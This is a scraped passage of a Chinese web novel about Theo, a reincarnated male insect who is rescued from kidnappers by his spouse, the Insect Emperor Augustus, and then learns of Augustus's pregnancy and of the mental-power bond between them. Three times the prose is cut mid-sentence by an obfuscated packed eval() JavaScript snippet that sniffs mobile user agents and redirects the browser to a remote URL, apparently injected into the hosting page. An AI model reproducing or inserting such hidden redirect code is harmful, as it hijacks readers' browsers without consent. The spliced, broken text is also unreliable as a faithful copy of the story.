听起来似乎是高个子临时起意。但西奥没功夫搞清前因后果,他只知道,现在不跑,就要没命了! 趁着绑架犯们忙着内讧,西奥爬起来就往被撕开的裂口处逃! 但因为双手被捆住,再加上身体虚弱,慌不择路之下,又不知被什么绊了一下,结果重重摔到了地板上。 西奥有些狼狈地跪趴在地上,姿势相当糟糕。然后,在重力作用下,一个挂坠从他的领口掉了出来。小小的银色坠子,在他脖子下方轻轻晃荡。 对!还有奥古斯特给的项链!怎么把这事给忘了?! 西奥想都没想,一低头,将那枚挂坠咬进了嘴里。 雌君!老婆!陛下!救命啊——!!! 另一边,绑匪们的内讧很快有了结果,而且对西奥相当不利。因为赢的是想杀他的高个子。 这么短的时间,他当然没来得及逃出去。 高大的雌虫身影挡住了西奥唯一的出路。他就知道,自己跑不掉了。 瞬间,绝望涌上了他的心头。 他才刚来没多久,又要死掉了吗?! 过往的一幕幕涌上心头。他不被期待的出生,艰难的成长,好不容易找到了喜欢的工作,然后,因为一次意外,被迫在零下八十度的冰冷雪原上孤独地等待死亡。 至少那时候,他还保留了数据,他的死亡还算有些价值。现在这算什么?绑架撕票,这么可笑、这么毫无意义的死亡方式吗?! 凭什么,他又没做错什么,凭什么就要被杀死啊!!! 绝望之余,一股强烈的怒火也瞬间燃上心头。 不行,他不要等死!!! 雄虫就真的打不过雌虫吗?力量不够,那技巧呢?!好歹他以前也是接受过训练的! 打定主意后,西奥用尽全身的力气,一脚踹向了蒙面绑匪的脚踝! 但面对他这孤注一掷、拼尽全力的最后一击,对方甚至连小腿都没有晃动一下。只是低下头,居高临下地看了他一眼。 那双漆黑的眼睛里没有一丝光亮,仿佛死神的直接凝视和审判。 黑色的枪口再次对准了他的脑袋,这次矮个子不在了,他没有帮手,无处可逃。 他要被杀死了。 西奥用力咬牙,将那枚金属吊坠在齿间咬得咯吱作响。然后吐出这没什么用的信物,在生命的最后时刻,不甘心地看向那个即将夺走自己性命的虫,“为什么……非要杀我?!” 好好的绑架到底是怎么变成了非撕票不可的?! 不知是不是错觉,一丝愧疚从那双黑眼睛里一闪而过,“对不……” 话,戛然而止。 一道透明的死亡之线,精准无误地垂直落下。 唰——! 利落得没有半分拖沓。绑匪持枪的右手齐腕而断,手枪与断掌同时落地。血液从断肢处喷涌而出,有不少都溅到了西奥的身上脸上。 但在这血腥残暴的场景中,在绑匪凄惨痛苦的尖叫中,西奥却没觉得害怕,只是有些恍惚,甚至还松了一口气。 我……这是得救了?! 没等他反应过来,一个身影紧随其后,从天而降,连同飞行器的顶壳碎片,一起将绑匪压在了身下! 尘土飞扬中,一个焦急的熟悉的声音响起:“雄主!” 是奥古斯特! “你没事吧?!” 他居然真的来了!!! 不知为何,西奥鼻头一酸,热泪不争气地上涌。 其实他咬住项链挂坠的时候,也就是最后挣扎了一下。这么短的时间,他就没指望过奥古斯特能来。上一世在雪原的最后时刻,他发射了那么多求救信号,始终无人回应。对他来说,失望和被忘记已经成为一种人生常态。但现在…… 一双手将他从地板上拉起来。外面的沙尘伴随着飞行器的彻底破损大量涌入,他轻轻咳嗽,一个呼吸面罩立刻被扣在脸上。身后的束缚被轻易解开。透过被泪水摸糊的视野,他看到了虫皇陛下,蓝眼睛里是清楚的自责和担忧,“对不起,今天的事情……” 但现在,有个人,或者虫,随便什么吧,他不在乎,在绝望之际用力拉了他一把。 西奥伸出双手,用力抱住了奥古斯特。让他的道歉也戛然而止。 他太需要一个拥抱。一个劫后重生的紧紧的用力的拥抱。 奥古斯特顿了一会儿,然后伸出手,回应了这个拥抱。 西奥本来就稍矮一些,再加上病后的虚弱,拥抱的时候往下滑了一点。于是脸正好埋在了对方的胸肌上。 他摘下有些硌人的呼吸面罩,下意识往对方怀里蹭了蹭。隔着薄薄的布料,他能感受到下方的温度和柔软,以及胸腔内坚实有力的心跳。扑通,扑通。在这样的节奏之下,他的心跳和呼吸也跟着缓和下来。 这感觉……很好,很安心。 原主以前一定跟奥古斯特经常有这样类似的亲密举动。 “还是让我检查下你的……”雌虫低沉的声音在他耳边响起。 “我没事,”但西奥拒绝此时被推开,只是一味抱紧,“我是说,先不急,我没受伤……” 他确信自己没有受伤,至少身体上没有。 奥古斯特没再说什么,纵容了西奥有点撒娇一样的举动。 “陛下,已经检查过……” 直到小声的汇报声响起,西奥才重新感知到除了奥古斯特之外的世界。 他听到周围有许多脚步声,还有时不时的翻找和交谈声。 显然,虫皇陛下不可能单独行动。而在事故现场,众目睽睽之下,他抱着虫皇埋胸的场景,也被看得一清二楚。 后知后觉的羞耻感上涌,但已经来不及了。 好在没虫敢说什么,至少不会当着他的面说。 这种略显尴尬的沉寂维持了相当一段时间。直到他被护送上另一艘飞船,经过医生的全面检查后,简单地洗了个澡,又换上了一身干净的衣服。在这种舒适安全的状态,才终于稍稍平静下来。 这期间,奥古斯特全程跟随,但是也没有主动跟他交谈。 直到其他虫都离开,这间看起来还算宽敞的卧室里,只剩下了他们两虫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823905|191084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>于是,西奥必须得独自面对虫皇本虫了。但他仍然没想好刚才那个有点涉嫌骚扰的行为跟怎么解释,于是开始随便闲聊,“你……来得好快啊,哈哈!” 干笑声无比僵硬。 “我好像刚咬了一下挂坠,一眨眼,你就来了!” “这是我的专属飞船,拥有短距离跃迁能力。可以在五秒钟之内抵达这颗星球的任意地方。” 很好,得到了专业且冷冰冰的答复。 “……好厉害!”确实很厉害,西奥真诚赞叹道。但也把天给聊死了。 就在这时,一个军雌进来小声对奥古斯特说了什么,又很快出去了。 奥古斯特似乎终于松了口气,“医生的检查报告出来了,除了一些擦伤之外,你的身体没有什么问题。可能会因为受到惊吓,以及刚做过手术,感到一些虚弱和疲惫。这些都是正常现象,只要接下来好好休养就行。” 这算是个好消息。也因为这个打断,气氛缓和了不少。而且稍微一想就能明白,不管飞船性能如何,能够在那么短的时间内迅速行动,代表奥古斯特一直在关注着他。 说到底,他能得救,多亏了奥古斯特。 想到这里,温柔的目光重新落到不远处的雌虫身上。这次因为心情平静下来,看得仔细了不少。 奥古斯特依旧穿着深蓝色军装,身材高大,面容冷峻,眉头微微皱起。但这次他发现了一点不一样的地方。 显然,刚经历过事故现场和战斗的军装无法保持原本的整洁,但除了一些灰尘和破损,似乎还有几片小面积的深色,在胸腹几个位置晕染开。因为原本的布料颜色很深,所以不仔细看,很难发现。 西奥心脏咯噔一下,立刻从对战损的欣赏,转变为纯脆的担忧,“你……”他指了指自己胸前对应的位置,“这里是血吗?” 当时一切都太快,他不太清楚战斗如何发生,又是如何结束。奥古斯特有可能因此受伤吗?! 在西奥提醒下,奥古斯特才终于注意到了自己的形容狼狈。他低头看一眼自己的沾满灰尘与鲜血,皱巴巴的军装,“抱歉,我去清理一下。” 什么?西奥立刻意识到对方误会了,“不是,我不是说你脏。” 奥古斯特停下,重新转过身来,挑眉看向他,似乎在等后面的话。 “我是想问,你没受伤吧?” 奥古斯特没有回答,反问道:“如果我受伤了,你打算做什么?” 做什么?西奥有点懵,“帮你……叫医生?” 对方似乎也没料到会是这个回答,表情空白了一瞬。然后迅速转移了话题,“你知道,精神力和信息素可以帮助治疗吗?” 西奥有点印象,应该是在手环上看到过。但具体怎么做,他毫无头绪。“你需要我帮你?” “如果那样的话,你得教教我。我不会。”西奥老实坦白。 “所以,不管我让你做什么,你都会听话?”奥古斯特眉心舒展开来,甚至带了点笑意。 这话,听起来怎么怪怪的。但字面意思好像没问题。所以西奥点了点头。 “我没有受伤,血应该是其他虫的。”奥古斯特解释道,“但我的确需要你的帮助。准确来说,我需要你的信息素。” 雌虫把一只手放在下腹,神色都舒缓几分,“我怀蛋了。” 西奥:啊??! 5. 第5章 满足 不是说几十年只生过一次吗?怎么自己刚来就要接盘了?! 但这个疑问只在西奥宕机的大脑里盘旋了一瞬,比起原因,他当下还有更迫切的事情。 比如,到底怎么把信息素给雌虫? 趁着奥古斯特洗澡的功夫,西奥紧急用新手环查了一下雌虫怀孕期间的注意事项。 孕期的雌虫会变得更加依赖雄虫,欲.望增加。来自雄主的信息素,是虫蛋必不可少的营养元素。而信息素的主要来源是…… □□。 然后,下面就关联出现了,一堆生动形象的视频版灌注信息素的教程。 西奥没看几眼,双颊热度就迅速上升,脸已经烧得不像样了! 虫族是一个非常重视、甚至可以说崇拜繁衍的种族。人类社会中只能关起门来在卧室里做的事情,在这里却可以光明正大公开播放,甚至被大力推广。发/情期,标记,信息素,精神力束.缚,等等,这一类的东西,虫族之间聊起来,好像喝水吃饭一样普通。 再往前看,虫族的雌奴制度被正式废除也不过几百年。在那个时代,是真的有沦为雌奴的虫,赤/身/裸/体出现在公开场合,甚至直接被当众使用的。 了解到这些信息的西奥只想尖叫:奴隶制度好可怕! 总体来说,出于对繁衍的渴望,以及雄虫数量的稀有,社会中普遍以雄虫为尊。即便信息素对于孕期的雌虫来说非常重要,但能否获得,仍然取决于雄虫。 所以,即便是权力顶端的虫皇,奥古斯特仍然说,需要他的帮助。 但问题在于,对于一个什么经验都没有的处男来说,就算西奥对奥古斯特一眼心动,好感拉满,但是直接跳到做……是不是有点太快了?! 而且,严格来说,他并没有参与制造虫蛋的过程,这不是他的蛋,所以,也不算他的责任? 但信息素的确需要他来提供,而且终止虫蛋,对雌虫来说也很残忍。奥古斯特刚才的意思,明显很想留下它。 所以,为了新的生命,为了不让奥古斯特失望,他应该代替原主履行责任,应该…… 西奥愣愣看向浴室方向,应该……用信息素把奥古斯特灌满? 不不不!西奥用力摇摇头,自己都在想些什么啊! 但是奥古斯特已经提出了这个需求,而且这个需求从他的角度看来也非常合理。自己要拒绝吗? ……自己能拒绝吗? 或者,可以尝试坦白自己的身份,说自己其实不是西奥?但那样的话…… 就在他天人交战的时候,奥古斯特终于清洗干净,从浴室出来了。 西奥下意识看过去,然后立刻别开了目光。 刚洗完的雌虫,浑身上下只围了一块浴巾。如他预料中那样强健有力的肌肉,就这样暴露在了西奥的视线中。 饱满到近乎丰腴的胸肌,点缀着深红色的小豆,腹肌结实又整齐,漂亮的人鱼线一直延伸到下方。然后再下面是…… 哦不,他的记忆力也太清楚了!!! 然后他又想到,虽然这是一具在他看来完全是男性的身体,但内在的生理结构,却是雌性。 他们还有过一个虫崽,也就是说,那一对健硕的胸肌,可能不是摆设,而是有实用功能。 或许有乳汁曾经…… 打住打住!!! 也对,他们本就是合法夫夫,虫蛋都有了,更亲密的事情都做了,私下里这样的装扮当然也很正常。但是…… 他还没准备好啊!!! 难道……今天就要奉献信息素吗?! 别过头的雄虫,脸一路红到了耳根,手指已经不自觉抓紧了身下的床单,似乎紧张到了极点。奥古斯特有些想笑,但最终只是弯了一下唇角,“雄主。” “嗯……嗯?!” “我已经穿好衣服了。” 雄虫终于把脸转回来,在看到遮挡严实的睡袍后,目光总算不再闪躲。漂亮的小雄虫脸上还带着一片薄红,但神情严肃,眉头紧锁,“你……是现在就需要我的信息素吗?” 原来刚才是在紧张这个吗?“当然不会。你刚刚出院,身体还在恢复中。现在的话……” 奥古斯特委婉道,“你满足不了我。” 大概二十分钟后,飞船顺利抵达了皇宫。在一众军雌的护卫之下,西奥安全地转移到了寝宫二楼的卧室床上。看这里的摆设和布置,应该是主卧。 这大概是西奥曾经非常熟悉的地方。因为他一回到这里,明显感觉到紧绷的身心都放松了不少。有种终于回到家的安心和舒适。 为了让他能够安心养病,奥古斯特暂时搬到了次卧,把整个主卧全部留给了他。 临走前,虫皇陛下还特地说了一句,“这次的事情,我会很快给你个交代。” 交不交代什么的,西奥暂时没有想法。他现在满脑子都是之前那句“你满足不了我。” 什么意思啊?!!他年纪轻轻,怎么就满足不了…… 虽然确实很虚弱,但只要努努力,或许也可以!! 明明避免了艰难的选择,但却感觉更难受了怎么回事?! 所以,在奥古斯特转身离开的时候,躺在床上的雄虫慌忙拽住了雌君的手。 “怎么了?”奥古斯特转过身,问道。 “我……我会尽快满足你的!”这句话说完,西奥的脸简直烫到可以烤红薯了。这句话,怎么听怎么像耍流氓! 奥古斯特没忍住笑出了声。他捏了捏西奥的手,然后仔细将手塞回被子里,“没关系,我可以等。” “先把身体养好再说吧。” 奥古斯特离开后,西奥用被子蒙住了脑袋。被子里又黑又闷,头上还缠着纱布,刀口的位置还在隐隐作痛。但他管不了这么多了,因为他已经有点,心如死灰了。 自己刚刚都说了些什么啊啊啊啊?!为什么要说尽快满足他?这不就等同于说自己想要尽快……他吗?!他真的没有那个意思啊!!! 从医院回家这一路上,已经很累了。西奥也没能纠结多久,很快从被子里钻出来,满心忧愁地睡着了。 在房间内所有的动静都消失、只剩雄虫缓慢悠长的呼吸声之后,藏在角落里的动态捕捉摄像机也终于暂时停止运作,进入了休眠模式。 而在西奥不知道的另一边,一场庞大的清算正在悄无声息地进行当中。 第二天一早,刚吃完早饭,西奥很快就知道了奥古斯特说的交代是什么意思。 那是一份将近两公分厚的事故调查报告。西奥都惊呆了,这么大的文字工作量,昨天他们是根本没睡觉吗?! 西奥随便翻了两页,很多专有名词,根本不知道什么意思,看得一头雾水。 奥古斯特简要解释道:“是我连累了你。” “因为你是我的雄主,所以他们才会想……从你身上下手。“虫皇停顿片刻,然后说,”对不起。” 原来是这样。或者说,果然是这样。西奥也大概猜到了,毕竟跟自己科研工作者的身份相比,虫皇才是更大的靶子。 由此推断,虽然奥古斯特没有明说,但他的统治可能不算太稳固。否则也不会出这种事。之前那么在意安全问题也说得通了。 “为什么要说对不起?又不是你的错。”西奥赶紧安慰他,“而且如果不是你及时赶到,我就真的死了。所以,我应该谢谢你。” 但这份诚挚的道谢并没有让奥古斯特的愧疚消失,他依旧皱着眉头,一副放心不下的样子,“为了保障你的安全,接下来我会让诺亚二十四小时跟在你身边。” “那你呢?”西奥问。 “我没办法一直跟在你身边。如果你有任何事情,只要你需要,随时用项链喊我。” “不,我的意思是,”西奥皱眉,“你的安全呢?” 奥古斯特一愣,低头看向坐在轮椅上的雄虫,沉默几秒后说:“放心吧,我很强。” “他们不至于傻到直接对我下手。” “也是。”西奥干笑两声,感觉自己刚才的问题很愚蠢。 他仔细查过奥古斯特的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823906|191084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 履历,虫皇之位确实是凭他SSS级的精神力实打实拼杀出来的,这一点医院的护士们没有撒谎。最夸张的一次,应该是“奥兰多星环”战役。据说奥古斯特仅率三千近卫,便让敌方的百万军团全军覆灭。尽管记载中只有寥寥几笔,但也足以印证这位虫皇的铁血强悍。 虽然,奥古斯特也不只有强硬的那一面。西奥瞥了一眼身旁的雌虫,再次回忆起获救后的柔软触感……咳咳! 但奥古斯特的敌人一定相当忌惮他的实力。所以对方才会避开他,转而从自己身上下手。 这感觉很奇妙,因为西奥还从来没有成为谁的软肋过。想到这里,他从衣领里将那枚项链挑出来,在两指尖轻轻揉捏。这是来自虫皇的承诺,触碰挂坠会让他觉得安全。 而且,似乎身体也很习惯这个小动作。 同一时间,奥古斯特暗自咬紧牙关,下颌绷紧,像是在忍耐什么。他看向被西奥捏在指尖的项链,张了张嘴似乎要说什么,但最后还是忍住了。 但西奥完全没注意到奥古斯特的视线,继续用柔软温热的指尖捏住圆润小巧的金属挂坠,挤压、揉捏。同样的感受被精准传递到雌虫的身体中,他所不知道的敏.感的神经内部,电流正在飞窜。 西奥没再说话,眼神都没有聚焦,明显在发呆。手上动作却没停,像是某种下意识的行为。感官逐渐积累,奥古斯特微微抬起下巴,喉结滑动。 “别……”就在奥古斯特终于忍不住要出声阻止的时候,门被敲响了。 进来的是诺亚,他一侧胳膊上打着支架,脸上也有好几处淤青。他先是向奥古斯特和西奥分别行礼,然后说,“陛下,第一军团长求见。” 被打断的西奥也终于松开手指,挂坠重新回到了胸前。 奥古斯特松了口气,没有把话说完。等他离开以后,西奥看了一眼浑身是伤的诺亚,“你不跟着吗?” 诺亚咧嘴一笑,结果不小心扯到颧骨上的伤口,疼得嘶了一声,“陛下给我的任务是保护您的安全。” “所以,我要跟着您,西奥阁下。” “你……”西奥有些同情地看着这位上将,“不需要养好伤口再工作吗?” 诺亚摆摆手,“军雌嘛,轻伤不下火线。” 这在西奥看来,可不仅仅是轻伤。 “而且,昨天出那么大问题,都是我的责任。”这位红发军雌板起脸的时候,还挺像那么回事,“我也应该承担相应的后果。” 确实,昨天上飞船前,说会保障他安全的就是诺亚。结果真的出事,来救场的却还是奥古斯特。不过现在看到对方主动承担责任,西奥倒是产生了一些好感。 以及,这一身的伤,西奥看着都觉得疼。相比之下,他虽然差点出事,但最终只有一点擦伤而已。 “这些伤,都是飞船事故造成的伤吗?” 谁料诺亚摆摆手,“不至于。这都是陛下打的。” 西奥:啊?! “陛下很少亲自动手。昨天应该是……生气了。” 因为自己吗?这个答案是西奥没有想到的。甚至还因此生出了几分愧疚。 但诺亚倒是很骄傲,“陛下就算亲自动手也要挑虫的,他跟我打是因为他知道我很强,有挨揍的资格。” 西奥不是很理解,但他大受震撼。 “西奥阁下,陛下真的很在意您。”诺亚突然正色道。 但西奥的注意力完全被另一件事情吸引了,“等一下,奥古斯特能打架吗?他不是怀孕了吗?!” “别说只是怀蛋初期,就是快生了,军雌照样能上战场。” 西奥:啊?!!! “军雌就是这么耐造!”诺亚骄傲宣称。 “不过陛下的情况,有点特殊。” “特殊?” “具体我也不清楚。”诺亚摊手,“说起来,最清楚他身体状况的虫,应该是您。” “精神力专家,你什么时候才能恢复记忆啊?” 什么时候?西奥干笑几声,大概是,永远不能了。 6. 第6章 跪 接下来的时间里,诺亚就真的一直没有离开他身边。不管西奥去哪,身后都跟着一个红发的小尾巴。 不,不是小尾巴。诺亚毕竟是军雌,身高跟奥古斯特差不多,比西奥大了一圈。超级大尾巴! 不过西奥仍旧没太多力气和精神,也只能接受尾巴的存在,控制着电动轮椅,缓慢在这栋大到离谱的建筑里溜达。 “这里是次卧。目前陛下住的地方。” “这里是书房。” “这里是厨房。” “这里是健身房。” 在西奥开头问了几句“这房间是做什么的?”之后,诺亚就主动担当起了“导游”的职责。不过大多数地方诺亚也仅仅知道个名字,细节还得西奥自己看。 比如,书房里的架子上,摆着他和奥古斯特的结婚照片。二楼的走廊上,挂着几张小虫崽的涂鸦。甚至在书房的一面等身镜旁边,还保留着用来给小孩子量身高的刻痕。一想到曾经有迷你版本的奥古斯特叽叽喳喳跑过来让他帮忙比身高,西奥就忍不住弯了嘴角。 或许,无痛当爹也没那么糟糕。 这栋六层高的建筑有一个非常气派的名字,霍尔德宫殿。是皇宫当中用于虫皇居住的宅邸。除了一楼和地下室之外,其他层的布局都大同小异。几个卧室,几个书房,一些办公区,还有一些杂物间之类的。每个卧室还都配备了专门的清洁区。 一楼则主要是一个超大的会客厅,以及一片非常正式的办公区域。 至于地下室…… “大部分区域是武器库。” 大门打开,西奥眼睛瞬间睁大了。他还是头一次看到这么多形状各异的枪、和炮,以及……火箭? “后面区域用来停放陛下的专用战甲。我没有权限,进不去。” 西奥看了一下视频介绍,明白了。奥古斯特还会开高达!后面放的就是他的专属高达! 好帅啊!!虫族的确是一个科技,尤其是武器科技高度发达的社会。西奥虽然看不懂,但还是在这里闲逛了很久。对于这些很酷的杀伤力巨大的各式武器,敬畏的同时,也有点跃跃欲试! 他已经见识过雌虫与雄虫之间巨大的体力差距,但如果有这些高科技武器,是不是能弥补差距呢? 他还是,更想凭借自己的力量在这里活下去。 “这么多,都是奥古斯特一个虫的吗?里面有没有属于我的?” 诺亚愣了一下,像是第一次听到雄虫提出这样的问题,思索片刻后回答,“还真有。但具体是哪些,我就不知道了。得问陛下。” 居然还真有!短暂的兴奋过后,西奥又想起,这些东西,其实都是属于原主的。不是他的。 兜头一盆冷水泼下,心情也低落了不少。 在他们返回地上的时候,西奥看到旁边还有一个门。因为比起武器库的大门,小了很多,而且颜色跟墙壁很接近,所以起初没注意到。 “这里是做什么的?” 听到这个问题的诺亚,罕见地停顿了好一会儿,然后说,“这里……是精神力治疗室。” “我进不去。只有你和陛下有权进入。” “精神力治疗?”西奥想起自己的身份是精神力专家,所以,“奥古斯特的精神力有问题?” “我只知道您和陛下在进行精神力相关的实验。具体细节,就不清楚了。” 西奥突然想起来什么,“诺亚,我能问个很严肃的问题吗?” “什么?” “我的精神力,是不是很厉害?”他记得绑匪也曾提起过这一点,甚至颇为忌惮。但根据手环上查到的公开消息,从来没有雄虫能把精神力当作武器使用。这通常是雌虫,或者说军雌才有的技能。 “陛下是这么说的。” “什么意思,你不知道吗?” 诺亚摇头,“不仅我不知道。整个帝国除了陛下之外,没有虫知道您的精神力究竟有什么作用。” 西奥觉得好像有点不太对。 “但我相信陛下的判断。你的精神力绝对是顶尖的。” “所以,从来没有虫见我用精神力,只因为奥古斯特这么说,你们就都相信我的精神力非常厉害?!”所以他的精神力水平,有可能都是被吹出来的?! 诺亚大概也听出西奥的语气不对,正色道:“在这种事情上,陛下绝对不会欺骗我们。” ……行吧。 “我还有一个小小的问题。”西奥觉得还是有必要问一下,“我能当上精神力研究院的院长,跟奥古斯特的声明有关系吗?” “西奥阁下,”诺亚忍住笑意,“陛下不需要特地做出任何声明。皇家精神力研究院的院长,是他直接任命的。” 哦!原来如此。 西奥的心彻底死了。原本以为靠的是实力,最后靠的还是雌君。兜兜转转,归来仍是个软饭雄虫。 诺亚尽职尽责地陪了他一整天,就连睡觉的时候都守着。直到晚饭时间,奥古斯特回来之后,诺亚才离开。 西奥感觉自己像是某种珍贵脆弱的小动物,从一个军雌手上,小心翼翼交到了另一个手上。 大概是表情出卖了他的想法,奥古斯特问:“在想什么?” “在想……你。” “想我?” “你的精神力,是不是很强?”之前都是道听途说,事故里也没仔细看,现在西奥想问问当事人。 “是。”奥古斯特对此毫不避讳,“我昨天就跟你说过了。” “具体来说,有多强?” 奥古斯特想了一下,“你知道莫德神兵吗?” 又是一个西奥没听过的名字,但莫德他知道,这不是奥古斯特原来的姓氏吗?于是猜测,“是跟你家族有关的?” 奥古斯特点头,“是莫德家族先前培养的一批雌虫,经过了严苛的基因筛选和后期培训,所以战斗力极强。” 听起来很酷,但不知道为什么,奥古斯特说这些的时候,神色并不算好。西奥犹豫着问:“所以,你也是……?” “我是那批莫德神兵里面最强的一个。SSS级别的精神力,放在现在的帝国,应该是最强的单体战力。”奥古斯特看一眼西奥,接着说,“我可以使用一些普通雌虫会的攻击手段。那天救你的时候,丝线的攻击是其中一种。还有一些其他的。” “举个简单的例子,我能在0.1秒之内,把整个皇宫夷为平地。” 卧槽!“这么厉害?!”这个答案的确出乎了西奥的预料,“那不就跟……核弹差不多了吗?” “还是不太一样的……但你这么类比,也可以。” “如果这么强,那地下室那个房间是?” “用来做精神力相关测试的。你不是这方面专家吗?那个房间,至少帮你发了三篇高水平论文。” 跟西奥的猜测差不多,不过他更好奇另一个问题:“那,我呢?我的精神力到底什么水平?听说我的精神力也很强?” 也能当核弹用吗?如果那样的话,他在虫族岂不是横着走! “很强。”奥古斯特肯定道,“比我强。” 西奥傻眼了,“你的意思是,我能一个虫推平两个皇宫?” 奥古斯特笑出了声,“当然不是。” “雄虫的精神力跟雌虫有质的区别。你的能力比较特殊,但绝对强大,而且相当危险。所以一直对外保密。”奥古斯特想了想,“举个例子,如果我的能力是把皇宫夷为平地,那你的能力就是让皇宫从一开始就不存在。” “……什么?”西奥更糊涂了,感觉对方在跟他打哑谜,“能不能说得明白一点?” 奥古斯特拒绝了,“具体怎么用,等你恢复记忆就知道了。” 一个两个都在等他恢复记忆。西奥愈发心虚,他长叹一口气,“要是一直恢复不了……” “怎么办?” “那我养着你。”奥古斯特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823907|191084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答,在西奥看过来的时候泰然自若道,“我有很多钱,养得起。” 西奥被逗乐了,“这是钱的问题吗?” “钱不是问题。” “只要你是我的雄主,其他一切都不是问题。”奥古斯特说得轻描淡写,然后往西奥碗里夹了一块看起来像海带的绿色蔬菜,“尝尝这个。” 问题再次回到原点。西奥长叹一口气,闷闷不乐用叉子吃“海带”,结果意外发现味道很不错。口感有点像果冻,但入口即化,还带着一股淡淡的甜味,度刚刚好,一点不腻。 “这东西叫什么?好吃哎!” “绿年糕,你以前就很喜欢吃。” 听到以前两个字,西奥的叉子顿了一下,然后绕过绿年糕,尝了每一种其他的菜。但很可惜,都不好吃。 最终西奥还是臣服于原主的舌头了。没办法,毕竟民以食为天!他都吃了好几天医院的糊糊了! 往好处想,继承了跟原主一样的口味,至少降低了被怀疑的风险。 晚餐后,奥古斯特亲自推着西奥回到了卧室。 “如果想学习使用精神力,其实还有一种简单的办法。” “什么?”西奥对此非常感兴趣。那可是核弹啊,谁不想拥有! “我。” “对不起,什么?” “我是被你深度标记的雌虫,理论上来说,你可以直接控制我。” 奥古斯特扶着西奥到床边坐好,然后在他面前站直。雌虫现在没穿军装外套,里面是一件柔软贴身的黑色训练服。从这个角度抬头看过去,两坨鼓起胸肌异常显眼。 “试着让我跪下。”奥古斯特说。 “……什么?”西奥回过神,问道,“怎么做?” 奥古斯特也不知道之前西奥是怎么做到的,但他知道步骤,“对我说,跪下。” “跪……下?”声音绵软且犹豫。 “语气要干脆利落一点,用命令的口吻。” 不太对劲的用词,不太对劲的场景,但是搭配上奥古斯特异常严肃正经的口吻,好像这真的只是一场使用精神力的尝试。 西奥清了清嗓子,深吸一口气,抬眉再次看向身前的虫皇陛下,压低声音:“跪下!” 奥古斯特睫毛颤了一下,熟悉的语气和声音,让细密的电流窜上脊椎。但与此相对的,那种熟悉的来自精神力的压迫感并没有来临。他依旧能够自由掌控自己的身体,自己的膝盖。 失败了。 漂亮的雄虫仰头看着自己,懵懂无知,充满期待。犹豫只存在了一瞬,很快消失。 奥古斯特一眨不眨盯着那双漂亮的金眸,缓慢地弯折膝盖。 先是右侧,军靴根部抬起,脚掌弯折、后撤,膝盖下沉、触地。然后是左侧。直到双膝跪地。 腰身挺拔,膝盖微分,双手背在身后。是军雌的标准跪姿。 然后微微仰头,看向面前的伴侣,“雄主。” 真……跪了?直到那双跟他对视的蓝眼睛越来越低,低到他需要微微低头的时候,西奥脑子里依旧是嗡嗡的。 这是虫皇,虫族权力和战力的制高点。他不需要对任何人、任何虫下跪,却偏偏跪在了自己身前。 自己真的能……控制他?这想法让西奥心跳加速,呼吸沉重。就好像一枚原本随时爆炸的危险核弹,落到他手里,却变成了一枚软绵绵的毛球。一种隐秘的愉悦感自下.腹升起。 如果这样,那他是不是也可以…… “雄主。” “嗯?”西奥回过神,“接下来怎么做?” 既然这次失败了,奥古斯特也不打算强求。更重要的是,他很清楚,这个房间发生的一切都在监控之中。真想做什么,也不能当着下属的面。 “我能趴在您腿上吗?”奥古斯特问。 “啊?……可以。” 于是奥古斯特弓下身,小心翼翼把自己的脑袋枕在了雄主膝头。 7. 第7章 贴贴~ 面对腿上这颗毛茸茸的脑袋,以及随之而来的压力和温度,西奥多少有点不知所措。 作为孤儿,西奥对于这类肢体接触一向很排斥。上一世工作的时候,有同事很喜欢拥抱,每次都被他躲开。 他不喜欢这种触碰,这种温度。太近了,太亲密了。 但,也不是所有的接触他都排斥。 西奥曾经短暂养过一只狗,是大体型的伯恩山,温顺又漂亮,会乖巧地摇着尾巴蹭他小腿。在寒冷的冬天,也会眼巴巴把脑袋搁在他腿上。 炉火里木头噼啪作响,空气中弥漫着一股松木燃烧的香气,大腿上是毛茸茸暖呼呼的狗狗,手边是一杯热乎乎的咖啡。那段冬日,的确是相当惬意且舒服的。即便现在回想起来,也会不自主露出微笑。 莫名的,西奥觉得现在的场景跟当年有点像。 尽管,奥古斯特跟伯恩山,完全没有任何相似之处。 但他信任自己,需要自己,亲近自己。 他救过自己。 他正跪在自己面前……因为自己的命令。 而西奥,对此并不排斥。 甚至,还想要更多。 意识到这点的西奥心里咔吧一声轻响。初见时的心动,不知何时已经发酵成小小一团,然后在此刻,一个安静的、亲密的夜晚,终于破壳而出,毛茸茸将他胸口塞满。 久违的舒适和愉悦让他后脊和头皮一阵阵发麻。难以想象,在这个陌生的异世界,这么短的时间内,他居然也能感到安全、和满足。 但…… 他真的能够拥有吗?真的可以抓住吗? 